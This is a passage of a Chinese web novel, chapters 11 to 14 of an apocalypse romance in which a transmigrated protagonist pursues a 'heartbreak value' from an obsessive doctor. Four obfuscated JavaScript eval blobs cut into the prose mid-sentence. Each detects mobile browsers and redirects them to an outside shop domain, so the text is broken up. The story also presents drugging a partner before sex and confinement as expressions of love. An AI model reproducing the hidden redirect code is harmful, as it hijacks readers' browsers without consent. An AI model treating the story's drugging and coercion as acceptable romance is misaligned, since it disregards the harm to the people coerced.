祁音尘朝他走过来,脸上一贯的冰冷神色消失的无影无踪,看向他时满是柔情蜜意。两人都没说话,祁音尘在凳子上坐下,小心翼翼的拿起他的手腕仔细查看着,从这个角度江泠可以清晰的看见祁音尘长长的睫毛缓缓眨动着,似脆弱的蝶翼颤动。 江泠:无意欣赏,只想收回我自己的手……哎!抽不回来?! 祁音尘牢牢握着江泠的手,不愿松开,看到江泠有些孩子气的动作,内心又觉得有些好笑,他珍重的牵起江泠的手放在自己胸口的位置,似乎是想让江泠感受到自己的心究竟是在为谁跳动。 于是江泠就亲眼看着眼前这人以极其虔诚的姿态,眼中泛着泪光,轻轻地向他承诺—— “我们以后好好的过,行吗?我不会伤害你的。” 往日最厌烦束缚、向往自由的人,最不屑情爱的人,竟然甘愿将自己困在他身边。 江泠垂下眼眸的姿态显得他异常乖巧,但是一开口还是难掩杀伤力: “谁要跟你好好过。” 祁音尘脸色僵了一下,但心里也早就预料到江泠不会这么快就太容易,因此脸色很快恢复如常,反倒是接着说:“我出去的时候碰见了宋檀玉。” 江泠听到这话,眼中才算是有了些波动,掀起眼皮问:“檀玉哥在哪儿?” 祁音尘眼中一抹晦暗闪过,心里有些堵,却又庆幸江泠的心并不是完全硬的,还有柔软的地方,于是语气轻柔地劝道:“那你要乖乖养好身体,不能再伤害自己了,好吗?到时候我带你去见他。” 江泠勉为其难的点点头应下,下一秒就石化般难以置信看向一脸微笑的祁音尘。 【宿主你不能给他好脸!!!虐心值-1,-2了啊啊啊……】 江泠无语的翻了个身,懒得看祁音尘:“你快走,你快走。” 11. 高岭之花医学博士 10 尽管江泠背对着他,话语中也是催促他离开之意,但是他那默许回应的态度却极大程度满足了祁音尘如今可怕的占有欲,同时祁音尘也仿佛看到从前江泠恣意不拘的影子,像是一湖平静死寂的水面泛起波澜,而这一切是因为他。 祁音尘摘下眼镜,眉眼柔和更实质化,他坐在江泠床边,显得毫无攻击性,眼中专注得仿佛只能容下江泠一个人。 那股炙热的视线就算江泠背对着也能感受到,他有些受不了,于是暗自和系统在脑海里交流着—— “他这是怎么了?我有点受不了……以前这么舔他,也没说给我个好脸看啊。我的态度还不够恶劣吗?虐心值就不给我升一点吗?” 虚弱苍白的人躺在床上,身上的病气不仅没有给江泠增添一份沧桑,倒是更添了几分说不清的气质,没被修剪过得头发如今有些长,随意的浅浅的遮住了眉眼,却仍然能一眼看到那双像是琉璃淬过的晶莹剔透的黑色眼珠。 江泠歪头思索着,侧了侧身子翻了过来,系统还没来得及回答呢,看见江泠露出这样神情的祁音尘早已按捺不住,轻轻地俯身拥住了江泠,随后柔情蜜意的将头轻轻地搁在江泠病号服漏出的洁白脖颈上,温热的气息打在江泠颈边,痒意开始四处蔓延。 多少是有些暧昧了。 江泠避开那双紧紧盯着自己的墨色眸子,微微侧头,结果祁音尘反倒是越抱越紧了。 江泠:等等!我没有邀请他的意思啊! 系统吞吞吐吐半天,语气中怀疑不定:【他难道真喜欢你?!】 江泠不语,只是平静的看着紧紧依偎着自己的祁音尘,也同样感受到了两人隔着衣服融化混合在一起的体温,不禁讽刺地扬了扬嘴角。 但是经历过这么多,江泠早已学会了如何将眼底的情绪藏好。 祁音尘看着江泠沉默不语,忍不住更加得寸进尺,一句在蜜罐子滚过的话也情不自禁脱口而出:“江泠,我想……” 祁音尘那双有些薄情的眼尾晕染着甜蜜和依恋,脸上染上绯红,自然也明白自己的举动无异于求/欢,他望着江泠,贪心地索求更多。 江泠则是战术性身体后仰,双手揪住被子,有些抵触的说:“但我不想。” 祁音尘神色不变,依旧笑意盈盈的看着江泠,温声说道:“好,不想那就以后再说。” 他本来也就是说说而已。 祁音尘以前从没有想过自己有一天会真的爱上一个人,并且深陷其中。他读过莎士比亚的十四行诗,对那些歌颂爱情的诗句不屑一顾。现在看来那些每行直白渲染的爱意就是无奈而又诚挚的劝告吧。 你会坠入爱河,但你的爱神却离你远去。 江泠默默皱眉,不太相信自私薄情寡义的人会真的喜欢什么人,只是看他如今的态度……难不成祁音尘就喜欢这种对他爱答不理的? 那他悟了。 江泠静静地看着祁音尘用那双白皙修长的手屈尊给他削苹果,观赏了一会儿后用十分平常的口吻说: “我妈妈给你的戒指呢?还给我吧,我知道你不想要。” 下一秒,江泠听见水果刀掉在地上砸出尖锐的声音。 祁音尘另一只手还捏着才削好的苹果,空空的那只手上的水果刀早已不知所踪。他一脸慌乱,听到江泠问起戒指的事自然心虚,但却又明白江泠是故意这么问的,于是抿了一下嘴唇,艰难地开口: “江泠、江泠,你听我说,我不是……故意的。” 美人眼角泛红,眼眶中晶莹剔透的泪珠几欲掉落,要换作以前的江泠,怕早已是心疼的开始哄了,但如今江泠不用再背着“多金男二”的设定,心肠硬得跟铁一样,对这一幕视若无睹,淡定的点点头表示知道后十分好说话的样子给出了一个解决方案: “那你还给我一枚一模一样的。” 江泠补充道:“我要你亲手做的。” 祁音尘看着江泠,犹如看着宽容赦免他的神,当即马上允诺,神色庄重的不像是做一枚戒指,倒像是要许下什么两厢情悦的誓言了,他声线微微颤抖,依旧难挡清润动听: “好,我一定亲手做!” 才说完,祁音尘马上像个小媳妇似的忙活起来了,耐心的将苹果切成小块后才喂江泠吃,又去接了杯水温刚好的水送到江泠嘴边。 是的,江泠看开了,他要出手了。 最近实验室已经整整三天没有看见祁博士了,听说他好像跟着基地的任务小队亲自出去找晶核了,人好不容易回来了,又问着搞武器研究的借了一大堆工具,将自己关在办公室里,根本不出来。 难道祁博士已经开始涉猎其他方面了? 众人好奇,但是众人都不敢问,这让祁音尘完整拥有了一段不被人打扰的时间。 至于赵祁被祁音尘喂了一颗不知名的药物后,整个人变得安分得不得了,也不敢明面再去让人找江泠麻烦了。 毕竟他比较惜命。 只是那天他们二人争执的事不知道怎么传了出去,如今基地其他管理人开始蠢蠢欲动,都想着将祁音尘拉拢到自己这边来,赵祁不得不开始做好二手准备。 这其中最清闲的就数江泠了,每日吃的是精心准备的三餐,各种水果补品也没断过,甚至还配备了专门的看护, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775806|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加上祁音尘忙着其他事没时间过来,江泠心情指数直线上升,就是任务进度嘛…… 还没什么着落。 江泠幽幽叹了口气,在窗边晒着太阳,享受着末世里难得阳光,眼神不经意一瞥,就瞧见祁音尘推门匆匆朝他走过来。 看样子祁音尘这几天休息得并不好,眼下有些乌青,无意打理的碎发落在眼角,显得人十分疲惫。不过阳光下他眼角的泪痣闪闪发光,眸中的高兴像是要溢出来一般升上眉梢。里头那件白色衬衣松松垮垮穿着身上,头两颗纽扣忘记扣上,隐约可见雪白的锁骨。 此时的祁音尘就像个情窦初开的少年,匆匆跑进房间,看见江泠,话都没讲出来一句,手里捧着的东西就先递了过去—— 那枚被淹没在滚滚江水里的戒指出现掌心上,的确和从前的那枚一模一样。 祁音尘不会说自己找了多久的丧尸晶核才找到和欧泊碧玺一样颜色的,也不会说途中为了找晶核身上受的伤,更不会提自己为了复原这枚戒指手上留下大大小小的伤口,他递出戒指的那一刻只希望江泠能够忘掉戒指被丢掉的事,只看着眼前这枚。 正如他们错过的爱情,如今也可以再来。 祁音尘正身体力行、无比努力的践行着这一点。 江泠接过戒指是有点惊讶的,没想到祁音尘真的会亲手做一枚出来。啊,他忘了祁音尘的确是个天才来着…… 但是他没有给祁音尘好脸色,甚至有些不客气地轰祁音尘离开。 祁音尘被要求离开,脸上竟然没有半点不虞的情绪,满脑子都是江泠收下戒指了,他留恋的看了江泠一眼,竟然也乖乖的走了。 江泠:…… “涨了吗?涨了吗?” 系统沉默了,它不知道原来主角受心脏竟然如此强大。 江泠懂了,将戒指搁在桌上,觉得自己刚刚一拳打在了棉花上。 系统连忙出声安慰:【没事,咱们第一次接触这方面的业务,不熟练很正常,咱们慢慢来!毕竟宿主你以前是当……咳咳!咳咳!】系统连忙住嘴,给江泠分享了一个好消息:【咱们有个道具可以用,可以查看任务对象虐心值的变化明细哦!】 【这个是实时的,比我查得准,嘿嘿……】 江泠也来了几分兴趣:“那你快看一下。” 系统非常迅速的开始操纵,随后整个统僵住,朝江泠露出来一个尴尬不失礼貌的笑容,声音颤抖:【+5%,+20%,-1%,-1%,-1%,-5%,-10%……】 【现在居然还剩5%呢。】 江泠:哦,那很棒了。(咬牙切齿) 12. 高岭之花医学博士 11 江泠和系统不约而同陷入沉默之中,最后江泠欲言又止地叹了口气。 看起来像是他们也没招了。 但真的是这样吗? 当暗地里正偷窥着江泠的祁音尘将这一幕尽收眼底时,自然也没有错过江泠眼中的几分忧郁之色。他安安静静垂着眉眼,脸上好不容易养出点血色,但是看着依旧让人揪心。 所以,还是不开心吗? 祁音尘心又开始慌起来,甚至生出几分无力感。最后勉强抿着嘴角,悄无声息关闭监控画面后,低头陷入思索中。 而被某人视奸着的江泠轻飘飘扫了一眼监控摄像头的位置,眉眼舒缓开,左手微微弯曲有一下没一下的敲着床单,嘴角勾起一抹微妙的弧度来。 * 走廊上,祁音尘一步一步走着,显得漫长又沉默,与此同时他脑海中闪过江泠抗拒的动作和神情,一幕幕无比清晰。酸涩在身体里四涌,冷静外表下的暴戾和恶欲也在疯涨—— 怎么能、怎么能推开我呢? 他明明记得从前那个笑容肆意的小少爷总是待他极为小心翼翼的,甚至跟他有一点点的肢体接触都会紧张得挠头、耳朵通红,一双清澈的星星眼全部都是自己…… 那么炙热,如今怎么变了呢? 明明戒指都做了啊,他以为江泠会开心一点的。 祁音尘墨色瞳仁中闪过一丝迷茫和无助,但是片刻,覆了一层冰雪的脸上却蓦然绽开一抹笑。 没事,慢慢来,江泠总有一天会承认也没办法离开自己。 生出那个念头后,祁音尘脚下的步子坚定许多,回到实验室,微微俯身取出了上次并未用完的试剂。 轻轻摇晃的透明液体碰撞着透明器皿,发出细微的声音。 依旧是熟悉的热意再次将江泠包裹着,桌上的饭菜还冒着热气,但江泠手中的筷子已经握不住了。 啪嗒—— 筷子落地,眼神逐渐模糊的江泠摔倒在桌边,手扒拉着桌沿,无比清晰地感受身体里涌来一阵阵滚烫的热意,他咬着牙,等着人来。 真的没人管管祁音尘了吗?有点本事净拿来干见不得人的事了。 不知道江泠在心里吐槽了多久,才等到某人缓慢、放轻的脚步声。 出现江泠视野中的是一双笔直的长腿—— 要是他没有看错,那应该是他们高中时候的制服,从晃荡着的校服裤甚至能隐隐约约看到那双腿笔直的轮廓。 接着往上,是浅蓝白色的校服短袖,一瞬间,江泠以为自己看到了高中时候的祁音尘——初具雏形的漂亮和并不骇人的冰冷脸色,整个人藏在校服里,纤细,脆弱,却又那么顽强。 祁音尘注意到江泠的视线也慢慢蹲下身子,目光与江泠齐平,狭长眼尾上扬,眼中是吞噬一切的爱意,连眼角的那颗泪痣在此时都显得格外妩媚。 江泠脸上潮红漫开,见一只修长白皙的手朝自己伸过来,干脆也不忍了,将人一把扯过来,双手撑在祁音尘身侧,俯身主动缩短两人的距离。 祁音尘抬头望着眼中热切、只注视着自己的江泠,终于感到一丝餍足,他双手勾上江泠的脖颈,对于接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775807|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的可能会发生的所有举动堪称纵容。 爱意恍然而生,清醒沉沦其中的祁音尘闭上了眼。 一丝天光从窗边射进来,脑袋昏昏沉沉的江泠挣扎几下醒过来,低头看见枕在他身前的一颗脑袋,才想起了昨夜发生了什么。 啧,怎么回事?祁音尘脑子里难道只有“做做做”这个字吗? 他粗暴的推开紧紧抱着自己的祁音尘,抓过一件衣服翻身下床,后背的抓痕清晰可见,但又很快被掩盖,江泠随意披上外套,往外走。 应该快到了吧? 江泠推开门时漫不经心的想。 果然,门一开便见安瓷倚在墙边,视线朝他看过来,好奇地问: “什么东西非要在这个时候给我?我还不知道原来祁博士还会发出那种声音……” 后半句安瓷的语气可以说是相当微妙了,要是谁在门外听到某些不该听到的声音,应该都会有这个疑惑吧?好吧,或许也不怪江泠,谁让他非要早早就在门外等着呢? 安瓷见江泠不接话,自嘲的闭了嘴。 江泠没有理会空气中弥漫的那股微妙醋意,只是不紧不慢抓过安瓷的手腕,随意的将那枚戒指戴在安瓷竹节般修长如玉的手指上,才慢慢开口:“给你。” 还没等安瓷受宠若惊般开口回应,门里便冲出一道身影。祁音尘眼睛通红,死死的盯着安瓷手上的戒指,转过头难以置信地问江泠: “戒指……你怎么能随随便便将戒指给别人呢?” 江泠轻笑一声反问:“你能扔,我不能给别人?” 13. 高岭之花医学博士 12 祁音尘匆匆披上衣服,雪白的肌肤上还残留着不久前的疯狂,门外传来的交谈声和身边冷却的温度凝在一起,刺激出几分委屈,于是毫不迟疑,他冲出来便看到眼前这幕—— 前一刻还在床上与他缠绵悱恻,此时却将他亲手打磨的戒指送与他人?祁音尘心痛难抑,却也只敢虚张声势的质问江泠。 可是江泠依旧云淡风轻,脸上平静的神情深深刺痛祁音尘的眼,伴随而来的还有江泠轻描淡写的话语: “不是给我的东西吗?难道你还在意怎么处置?” 祁音尘本就是强拖着这副不适的身体站在这里,在听了江泠这句话后他仿佛失去了支撑的力量,虚扶着门框,身体缓缓地滑坐在地上,一双温柔的桃花眼染上一片雾蒙蒙的水汽。 怎么会不在意呢?他在意的,在意的。 吃瓜的安瓷饶有兴趣的看着眼前这一幕,往日高高在上的人如今竟然也会露出这副可怜样子,怎么不算好看呢? 只是他也后知后觉意识到了自己工具人的性质。 安瓷摩挲着手上冰冰凉凉的戒指,灯光下闪烁的彩芒很像欧泊碧玺的成色,样式也精巧,只是在打磨上略显粗糙,像是匆匆赶制出来的,再结合他们刚刚说的话,不难猜出这枚戒指是怎么来的了。 走廊上弥漫着诡异的沉默,见祁音尘睁着一双满是雾气的眸子不甘又委屈的盯着江泠,安瓷并不介意再上前添把火。 他走过去,自然而然的将手放在江泠肩上,低头替江泠整理着衣服,彻底遮掩住那些令人想入非非的迹象后,贴在江泠耳侧轻声说: “衣服穿好,别着凉了。”语气满是关心。 江泠垂眼,长长的睫毛像蝴蝶振翅般缓慢闪动着,他没有避开安瓷别有用心的举动,放任着安瓷在祁音尘心口上补刀。 而这副场景落在祁音尘眼中自然是碍眼极了,他甚至没有办法开口问江泠是什么意思, 只觉得心比冬天鹅毛般的大雪还要凉的彻底,心底的无奈与难过漫上来,那一刻他甚至在想—— 要是末世没有到来就好了。 这样的话,江泠眼中只会有他一个人。 “哈哈哈……”祁音尘忽然大笑起来,像是个歇斯底里的疯子,满是悲凉,一遍一遍地问自己:这是惩罚吗,这就是对他不珍惜的惩罚吗? 江泠皱起眉,为迟迟没等到的播报声忧心,好在这时系统终于带来了一个好消息:【虐心值+30!】 【真是赚大发了!宿主!】 江泠没有血色的薄唇轻轻吐出几个字:“这可不够啊。” 这才哪到哪,小小30,他压根看不上。 听着自家宿主狂妄自大的话语,系统挠了挠头,不是,宿主该不会是高兴傻了吧?以前他们哪儿见过这种场面啊! 得到了较为满意的结果,也算是没有辜负他一阵体力劳动后还要挣扎着爬起来。天还没有亮,还早,就多睡一会儿吧。 江泠打着哈欠进门了。 安瓷目送着江泠进去,也没拦着,而是手指微动,感受着某人遗留的温度,眼里闪过一抹留恋。等确定江泠不会出来,这才半蹲下来看着眼神空洞、脸上残留泪痕的祁音尘,他脸上带着一贯有的笑意,温和又讽刺地感叹道: “看来祁博士也体会到了求而不得的滋味啊……” “有些东西就算是你强留也是留不住的,你说是不是,博士?” 祁音尘抬起头,对上安瓷毫不遮掩恶意的双眼,轻蔑地看过去: “那也总比你永远得不到的好,我最后警告你一边,别用你恶心的视线盯着不属于你的人。” 饶是祁音尘被气得四肢无力,也没有完全失去理智。他知道江泠是故意这样做的,也明白江泠和安瓷接触就是为了气他,又或许是告诉他“我不会这么轻易的原谅你”。 从始至终,他难受的只是江泠对他真的不再存一丝心软,就好像、好像他无论做什么,都不会引起江泠眼中一丝波动,想到这里,他不禁又开始痛恨起从前做事不留余地的自己。 至于安瓷?不过也是个可怜虫而已,不足为惧。 祁音尘扶着墙站起来,嘴角的笑意有些诡异:“你恨江泠对吗?你恨江泠为什么在上学的时候对我这么好?恨江泠为什么眼中只有我、还恨江泠为什么要把我带回家里……可是你有什么资格恨他呢?” “难道这个世上可怜的人都要江泠拯救吗?你未免太看得起自己。” 当祁音尘看着安瓷脸上瞬间褪去血色,就知道自己说对了。 他慢条斯理的整理着衣物,完全看不出之前的脆弱,扶正眼镜后,似乎又是从前那副高高在上、刀枪不入的模样。 “你觉得明明我们都那么可怜,甚至你过得比我还惨,为什么江泠将我从黑暗中拉出来,而不是你。你永远在暗处注视着江泠的一举一动、留意着江泠所有的动态,你甚至为了江泠,不惜打几份工就为了能和我们在一个高中,你以为我不知道吗?” “所以后来你跟我进了同一所医学院,甚至在学校里和我齐名,可是江泠还是看不到你。至于接下来么……我开放研究权限,默许你们在江泠身上进行研究,但那一项一项的实验计划不全都是你亲自准备的吗?你看着在你手下奄奄一息的江泠,你是不是觉得这样江泠就能多看你一眼呢?” 祁音尘锐利的目光直直看向安瓷,看着安瓷脸色逐渐变得阴沉,轻笑一声:“事实就是,江泠依旧不会注意你。你觉得江泠如果知道这一切,会不会觉得碰过你很恶心啊。” 明明是站在灯光下的,可是阴暗不堪的那一面被粗暴地挖出来后,安瓷忽然觉得自己周围没有一点光亮。他盯着祁音尘,面无表情的说:“你怎么知道的?” 祁音尘当然猜到安瓷会这样问,神色自若的回答:“因为我知道你经常跟在我们身后,你会悄悄看江泠,你会因为我对江泠甩脸色故意在老师面前抹黑我,而且你兼职的那家店我和江泠经常去,我怎么可能不知道。” 是,他从前不承认自己喜欢江泠,但是无形之中却对江泠生出了占有欲,那种动物本能的领地行为使得任何想闯入的人必然会遭受排斥。 祁音尘不可能让江泠注意到安瓷,同样的悲惨的原生家庭、少年窘境……同样的清冷高傲,成绩优异,难保江泠不会再次发善心将安瓷带回去。 所以那时候他会时不时的给江泠一点儿甜头,偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775808|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔的亲密接触都会让江泠方寸大乱,江泠又怎么会有闲心看到其他的人呢? 向来温和有礼的安瓷目光一寸一寸生出寒冰,嫉恨让他的双手不由自主攥紧,视线也仿佛淬了毒一般想将祁音尘身上盯出一个洞,最后安瓷猛地冲上来揪住了祁音尘的衣领。 那是众人从未见过的愤怒。 “祁音尘!你凭什么!凭什么能让江泠爱你,你不配!你不配!”那双揪住衣领的手不断增加力气,仿佛想这样将祁音尘勒死。 祁音尘丝毫不在意,尽管呼吸变得急促,脸色通红,却仍旧那副泰然自若的样子,他笃定了安瓷不敢做什么。 的确,过了片刻,安瓷陡然松开手,但眼中依旧火气弥漫,对祁音尘一字一句地强调: “我们都不配让江泠爱。” 安瓷深深的看了一眼祁音尘,便离开了。 等人走了,祁音尘强撑的笑容、佯装的淡定全在此刻分崩离析。他望向门口,心中生出无边的忐忑。 江泠是不是听到了他们的对话?又听了多少呢?会不会更讨厌自己了? 祁音尘有些迷茫,轻轻推开门,看到床上安然入睡的人,才算松了口气。江泠本就身体虚弱,再加上吃了他配的药,应该是累了。不再纠结,祁音尘躺上床,紧紧挨着江泠,双手环抱着,头搁在江泠脖颈处,摆出了一个极其没有安全感的姿势。 怎么才能让江泠跟自己有分不开的羁绊呢? 想着这个问题,祁音尘慢慢闭上眼,却又陷入另一片回忆。 阳光明媚,正好透过玻璃洒进少年少女们打打闹闹的教室里。每个人的书桌上摞起厚厚的课本习题,借着下课的闲暇,有的抓紧时间聊天,有的穿过行道去接水,而教室前面笑的灿烂格外引人注目的少年正嬉皮笑脸的围绕着一个散发清冷气息的高冷学霸。 少年丝毫不在意他人打量的目光,专心的跟那人聊天。 尽管那清清冷冷的学霸很少搭话,回应也只是“嗯”,“行”,“好”,不过就算是这样,也足够少年眉眼洋溢着笑意了。只是不知道少年死缠烂打说了什么,原本不停做题的学霸停下笔来,起身跟着少年去了楼梯拐角。 在那个昏暗、鲜少有人到来的地方,少年红着脸牵了一下那人的手。尽管那人神色立即变了,马上甩开了少年的手,少年却没有在意,反而笑的傻兮兮的。 江泠眨了眨眼睛:“反正偷偷恋爱,牵个手应该也是可以的吧?” 等人离开,祁音尘慢慢掏出纸巾擦拭着刚刚被牵过的那只手,仔细擦了一遍又一遍后,薄唇轻掀: “恶心。” 祁音尘猛地睁开眼,泪水静静在脸上流淌。 将自己摘得干干净净的祁音尘终于明白自己就是最大的施害者,因为……偷偷恋爱也是他提出来的。 他想通过一段关系绑定江泠背后所能提供的资源、财力,却又一遍一遍的告诉自己,那是江泠自愿的,他不过是委曲求全。 对于不愿面对的真相人总会下意识回避,就连他都曾无数次刻意模糊掉那些片段,试图证明江泠只是一厢情愿。 祁音尘冒出一身冷汗,抬头映入眼帘的是江泠安静的睡颜。 14. 高岭之花医学博士 13 清晨的第一缕阳光从透明玻璃窗射进来,正好照到柔软舒适的大床上。温暖和煦的金灿灿光线洒在床上紧密交缠的两人身上,不知道的还以为那是对爱侣,而实则却是祁音尘靠在江泠怀里,双手死死拦腰抱住江泠。 江泠试过挣开,但是也不知道祁音尘哪里来的牛一般的力气,环抱住他腰的双手像是生了根。 江泠:得,随便吧。 祁音尘醒过来的时候呼吸急促,昨夜梦见的情形如今还历历在目,唯有切身感受到身边温热的体温,祁音尘才有种真实感。他双眼眷恋的望着熟睡的江泠,竟然觉得这样的日子有几分甜蜜。 那晚过后,江泠便很少再见到安瓷,倒是祁音尘每晚都雷打不动的过来与他一起睡觉,比准时打卡还要准时。 就算江泠不太愿意承认,他也明白现在他就像是被祁音尘精心圈养的金丝雀,什么好吃的好喝的都紧着他送过来,仿佛所有的要求都能被满足,除了踏出房门一步。 一天二十四小时,白天有人专门检测他的身体状况,晚上则是由祁音尘亲自盯着,生怕一个不注意又出现什么小意外。而那些踏进这间房门的人似乎早就被叮嘱过,不敢多看他一眼,也不敢多说一句话。 一个个跟人机似的,江泠不动声色地在心里默默吐槽道。 如今江泠额前的碎发肆意的长到眼角,却并未遮住这人半分的容颜,轮廓分明的脸庞、流畅的下颌线、高挺的鼻梁,和那一双黑宝石般晶莹的眼,仿佛是喧嚣后的沉寂,眼中一片平静安然,很难看出以前是个肆意张扬的富家公子哥。 过去那些实验留下的后遗症其实早已让江泠的身体不堪重负,就算是避开了后续被扔进丧尸堆的部分情节,这身体也迟早会无可挽回地衰败下去。其实从那双手便可以看出来一二,原先修长白皙,指节分明的手如今青筋越发明显,指尖也越来越苍白。 江泠掩唇轻咳,手背薄薄的像是只剩下一层皮覆盖在上面。突然,胸间一股沉闷涌上心头,压抑的痛楚一瞬间释放……江泠半弯下腰咳着,掩住唇的指缝间溢出鲜红的血液,竟是直接咳出了血。 屋内仪器检测到江泠身体情况异常,立马发出尖锐的警报声,屋外迅速冲进来一群祁音尘的亲信,简单的查看了一下各项数据后,为首的立刻开始联络他人: “身体状况显示异常,马上准备手术室进一步检测,立即准备!立即准备!” 联络完那群人也没有放下心来,手颤抖的摸了把额头上的虚汗,暗暗祈祷可千万别出什么事。祁博士三令五申让他们好好注意江泠的情况,要是江泠真出了什么事,他们也脱不了干系。 接收到手术室已经准备好的消息,这群人不敢迟疑,一边将江泠抬上平板床,一边让人亲自去通知祁音尘。 江泠眼前模糊一片,最后实在抗拒不过,彻底闭上了眼。他感受着身体里传来熟悉的痛感,耳边一直有声音盘旋,不知道在说什么,叽叽喳喳的吵个没完。后来……声音渐渐沉寂,江泠也完全丧失了意识。 空旷的走廊里,只剩下车轮滚动碾过地板和急促的脚步声。 彼时的祁音尘早就在实验室里,为了晚上能够好好抱着江泠睡一觉,他在白天将工作强度压缩到极致,不仅要给赵祁使绊子,还要忙着研制新型抗体,只有握着最大的资本,他才有护住江泠的底气。 祁音尘用手背往上扶了扶眼镜给赵祁吃的那颗抑制药能够悄无声息让赵祁引以为傲的异能慢慢压制在身体里,就像是用一把锁锁住,最开始没什么感觉,但是最后却被牢牢的束缚住,无法动弹。 如今赵祁还能凭借着往日的余威震慑着蠢蠢欲动的那群人,但用不了多久,甚至不用他出手,赵祁就能被人拉下去。 除此之外,祁音尘还忙着一件更为重要的事—— 改造自己的身体。 是的,他想到的跟江泠最深的羁绊就是他们之间可以有一个孩子,血液交融的羁绊会证明他的爱。 末世里,多少明里暗种里见不得光的事通通上演了个遍。失去了原本秩序的世界,人为了活下来不择手段,而延续生命也似乎在这种因素影响有了更多的可能性。 祁音尘准备好了所有相关的数据资料,也做好了缜密的计划,他不打算让任何人知道这件事,所以决定自己动手。 他躺在冰冷的实验台上,旁边是一件一件已经摆好的手术刀和用到的东西,汗水慢慢打湿头发,凌乱的散在耳侧、脸庞。他紧咬着牙关,压抑着痛苦,大口大口的喘着气。 很快,不过一会儿的功夫,祁音尘的手就慢慢垂落身侧。他双眼溃散却坚定的盯着天花板,直到呼吸声变得匀称、平稳。 许久,祁音尘才强撑着起身。他早已经看见了自己的手机页面闪烁个不停,于是手一伸,将手机拿过来,查阅着有无重要消息,在看到有关江泠的消息后,他顾不上身体还隐隐作痛,迅速起身,立马朝手术室去了。 他身后冰冷反光的实验台上还残留着猩红的血迹,各种用具也带着血迹胡乱摆放在一起,宣告主人根本没有时间整理。 等祁音尘匆匆赶到了,看到的是被插满各种管子的江泠。他第一时间跟旁边的人了解情况,又问了些话,虽然没说别的,但是似有似无的冷气却开始在整个房间里蔓延,低气压的窒息感让人发疯。 他冷静的查看完江泠各项身体指标,又给江泠掖好被角,才摆摆手示意人走出去,他在最后轻轻合上了门。 门口的缝隙彻底消失,他这才爆发。 祁音尘一双凤眼扫过众人,一股压迫感有些让人喘不过气来。冷冷清清的声音像是带着冰渣,“时刻关注江泠动态……怎么人突然成了这个样子?嗯?” “之前你们究竟有没有上心!” 后半句蓦然提高的声量将那群人吓得浑身一哆嗦,但为首的人还是畏畏缩缩站出来,窝窝囊囊的小声告知实情:“祁博士,我们没有不上心……但若是病人自己的求生意愿都很弱,那……” 总而言之,也就是说这跟他们没多大关系。 祁音尘抿了抿嘴,知道这也是无可辩驳的事实,于是沉默了一瞬,让这群人先回去。 他疲惫地揉了揉眼睛,忽然生出几分无措来。 他知道被关着的江泠不好受,尽管他尽力给江泠最好的,可是江泠一贯自由潇洒,又怎么甘心换一种方式关在这里。要是江泠知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775809|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那群朋友还在找他,说不定更加不愿意留在这里。 跟那群人比,江泠究竟会选择谁,这个问题的答案祁音尘想都不敢想。 他闭了闭眼,缓解眼睛干涩的同时思索着该如何办。猛然间,身体的隐隐作痛却提醒着他一件事—— 倘若他有了江泠的孩子呢? 江泠会不会为了孩子妥协一点点呢,就一点点。 江泠不愿意活下去,那就让他有值得挂念的存在。 又过了好几天,在一群人的精心照料下,江泠总算是醒过来了。他一睁眼就看见祁音尘关切又心疼的望着自己。 江泠低头看着自己的状况,很快就清楚了自己的情形。还真是三天一小病、五天一大病……不过这倒是符合部长拍着胸脯跟他保证的—— “放心!咱们虽然是强开,但是完成任务前,你绝对死不了!对,就我说的!” 江泠现在咂摸咂摸,忽然悟出一个道理—— 领导不愧是领导。 他走神的时候也能感受到一道炙热的视线,江泠瞥了祁音尘一眼,又不太确定的再看了一眼。 眼睛亮亮的,看见自己怎么……有点兴奋?还是激动?江泠有点不太好的预感。 又过了几天,江泠身体状况算是基本稳定了。 但如果江泠知道自己好的这么快将会面临无穷无尽的压榨,他宁愿搁病床上躺着,让祁音尘只能看不能吃。 